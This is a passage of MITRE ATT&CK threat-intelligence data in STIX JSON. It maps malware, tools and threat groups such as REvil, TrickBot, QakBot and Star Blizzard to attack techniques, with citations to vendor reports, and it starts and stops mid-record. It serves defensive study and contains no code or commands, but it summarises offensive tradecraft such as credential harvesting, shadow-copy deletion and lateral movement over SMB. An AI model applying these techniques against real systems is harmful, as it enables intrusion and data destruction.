2024)","relationship_type":"uses","source_ref":"malware--0a6ec267-83a9-41a5-98c7-57c3ff81e11f","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e86f6977-8dc6-4d5d-9d87-a6ace0058642","created":"2024-06-14T19:13:26.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Star Blizzard Advisory December 2023","description":"CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a"},{"source_name":"Microsoft Star Blizzard August 2022","description":"Microsoft Threat Intelligence. (2022, August 15). Disrupting SEABORGIUM’s ongoing phishing operations. Retrieved June 13, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T20:38:56.059Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has established fraudulent profiles on professional networking sites to conduct reconnaissance.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e8713274-bcbc-4c18-bf06-2c2a0c01d2ba","created":"2022-06-03T16:08:45.331Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used a PowerShell-based keylogging tool to capture the window title.(Citation: SecureWorks August 2019)","modified":"2022-06-03T16:08:45.331Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8747d32-65e4-4a55-a5c8-e87136cc44da","created":"2023-09-29T16:36:00.213Z","revoked":false,"external_references":[{"source_name":"AADInternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 1, 2022.","url":"https://o365blog.com/aadinternals/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T16:36:00.213Z","description":"AADInternals can collect files from a user’s OneDrive.(Citation: AADInternals)","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e875898e-fa8e-41f9-90da-79cdfb748dba","created":"2022-09-07T19:43:53.828Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:35:39.835Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used MSbuild to execute an actor-created file.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e877f75e-4b57-4328-a17c-a7c46929ae84","created":"2022-06-09T19:46:37.773Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has relied on users to click on a malicious link delivered via a spearphishing.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:46:37.773Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e87cff7f-dc75-4dfc-9c45-ec697ff4644a","created":"2020-08-27T17:21:11.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:16.576Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used RDP to access targeted systems.(Citation: Cycraft Chimera April 2020)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8805949-55f7-47cd-965c-2edd4221da12","created":"2023-05-23T20:31:31.136Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-23T20:31:31.136Z","description":"[QUIETCANARY](https://attack.mitre.org/software/S1076) has the ability to retrieve information from the Registry.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--93289ecf-4d15-4d6b-a9c3-4ab27e145ef4","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e882b88e-7731-4bee-a644-c02f9aff2306","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"},{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T13:27:44.523Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) uses HTTPS to communicate with its C2 servers, to get malware updates, modules that perform most of the malware logic and various configuration files.(Citation: S2 Grupo TrickBot June 2017)(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e884cc7d-cea1-4ecc-84fb-5c31950b4357","type":"relationship","created":"2021-09-21T20:52:23.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint Dridex Jan 2021","url":"https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/","description":"Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021."}],"modified":"2021-09-21T20:52:23.603Z","description":"[Dridex](https://attack.mitre.org/software/S0384) has relied upon users clicking on a malicious attachment delivered through spearphishing.(Citation: Checkpoint Dridex Jan 2021)","relationship_type":"uses","source_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e88a2959-311f-40c9-adc9-895f38bb1dd7","type":"relationship","created":"2021-01-13T21:19:41.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike SUNSPOT Implant January 2021","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}],"modified":"2021-01-13T21:22:35.439Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) source code used generic variable names and pre-obfuscated strings, and was likely sanitized of developer comments before being added to [SUNSPOT](https://attack.mitre.org/software/S0562).(Citation: CrowdStrike SUNSPOT Implant January 2021) ","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e88d0a1d-9861-4260-b030-dd80e81d179a","type":"relationship","created":"2020-12-29T22:21:11.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyble Egregor Oct 2020","url":"https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/","description":"Cybleinc. (2020, October 31). Egregor Ransomware – A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020."}],"modified":"2021-01-06T17:21:11.633Z","description":"[Egregor](https://attack.mitre.org/software/S0554) can inject its payload into iexplore.exe process.(Citation: Cyble Egregor Oct 2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e88e3288-28c9-4ae3-93a7-45d0658eaff8","created":"2021-09-30T14:12:25.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"Kaspersky QakBot September 2021","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.","url":"https://securelist.com/qakbot-technical-analysis/103931/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T18:21:08.984Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use netstat to enumerate current network connections.(Citation: Kaspersky QakBot September 2021)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8906575-d90c-4d56-9fb7-bba3560bbeba","type":"relationship","created":"2019-01-29T17:59:44.533Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2019-04-16T20:55:20.216Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) searches for specific directories on the victim’s machine.(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8906be8-db8f-4ad3-829a-ca5eb4711584","type":"relationship","created":"2020-10-19T19:53:10.796Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Secure Boot","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#35","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020."}],"modified":"2020-10-22T17:49:03.220Z","description":"Some vendors of embedded network devices provide cryptographic signing to ensure the integrity of operating system images at boot time. Implement where available, following vendor guidelines. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot)","relationship_type":"mitigates","source_ref":"course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb","target_ref":"attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8924eab-e270-43ed-8d7b-8e14cb739720","type":"relationship","created":"2020-08-04T19:13:50.025Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Sodin July 2019","url":"https://securelist.com/sodin-ransomware/91473/","description":"Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020."},{"source_name":"Cylance Sodinokibi July 2019","url":"https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html","description":"Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."},{"source_name":"Secureworks GandCrab and REvil September 2019","url":"https://www.secureworks.com/blog/revil-the-gandcrab-connection","description":"Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."},{"source_name":"Talos Sodinokibi April 2019","url":"https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html","description":"Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020."},{"source_name":"McAfee Sodinokibi October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020."},{"source_name":"Intel 471 REvil March 2020","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."},{"source_name":"Picus Sodinokibi January 2020","url":"https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware","description":"Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."},{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."},{"source_name":"Tetra Defense Sodinokibi March 2020","url":"https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis","description":"Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."}],"modified":"2021-04-06T14:42:52.653Z","description":"[REvil](https://attack.mitre.org/software/S0496) can use vssadmin to delete volume shadow copies and bcdedit to disable recovery features.(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8948840-b0a0-4c10-87f4-022720dc8dd9","type":"relationship","created":"2020-05-19T23:26:11.987Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.","url":"https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise","source_name":"Unit42 SilverTerrier 2018"}],"modified":"2020-05-19T23:26:11.987Z","description":"(Citation: Unit42 SilverTerrier 2018)","relationship_type":"uses","source_ref":"intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb","target_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e898946c-2c9d-4bf4-9253-67acfadc5b0a","type":"relationship","created":"2020-07-28T17:59:34.589Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-28T17:59:34.589Z","description":"[PROMETHIUM](https://attack.mitre.org/groups/G0056) has used watering hole attacks to deliver malicious versions of legitimate installers.(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e898c937-29b0-4e30-aeed-017ac3bbc3ed","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2020-03-30T02:40:31.048Z","description":"[Proton](https://attack.mitre.org/software/S0279) zips up files before exfiltrating them.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e89d06bc-31f3-49c0-a555-360eeff7f7c6","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Net Crawler](https://attack.mitre.org/software/S0056) uses Windows admin shares to establish authenticated sessions to remote systems over SMB as part of lateral movement.(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.207Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde50aaa-f5de-4cb8-989a-babb57d6a704","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8a13c1f-d4b9-495d-b039-112c4d60916b","type":"relationship","created":"2022-03-03T16:30:17.113Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"modified":"2022-03-03T16:36:21.313Z","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) has the ability to execute on device startup, using a modified RC script named S51armled.(Citation: NCSC Cyclops Blink February 2022)","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8a1c5ce-e02f-44f6-939d-a77378f06890","type":"relationship","created":"2021-06-30T16:13:40.658Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-06-30T16:13:40.658Z","description":"[Chaes](https://attack.mitre.org/software/S0631) can capture screenshots of the infected machine.(Citation: Cybereason Chaes Nov 2020)","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8a51a09-79b4-44d8-8f25-eb8c7c230da5","type":"relationship","created":"2020-03-20T00:08:19.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-03-20T00:08:19.278Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can use Lazagne for harvesting credentials.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8a77e9f-594d-429a-9eb0-51502af84c14","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos MuddyWater May 2019","description":"Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.","url":"https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html"},{"source_name":"ClearSky MuddyWater Nov 2018","description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"},{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"},{"source_name":"Securelist MuddyWater Oct 2018","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/"},{"source_name":"Talos MuddyWater Jan 2022","description":"Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.","url":"https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html"},{"source_name":"Trend Micro Muddy Water March 2021","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"},{"source_name":"Reaqta MuddyWater November 2017","description":"Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.","url":"https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/"},{"source_name":"FireEye MuddyWater Mar 2018","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"},{"source_name":"Symantec MuddyWater Dec 2018","description":"Symantec DeepSight Adversary Intelligence Team. (2018, 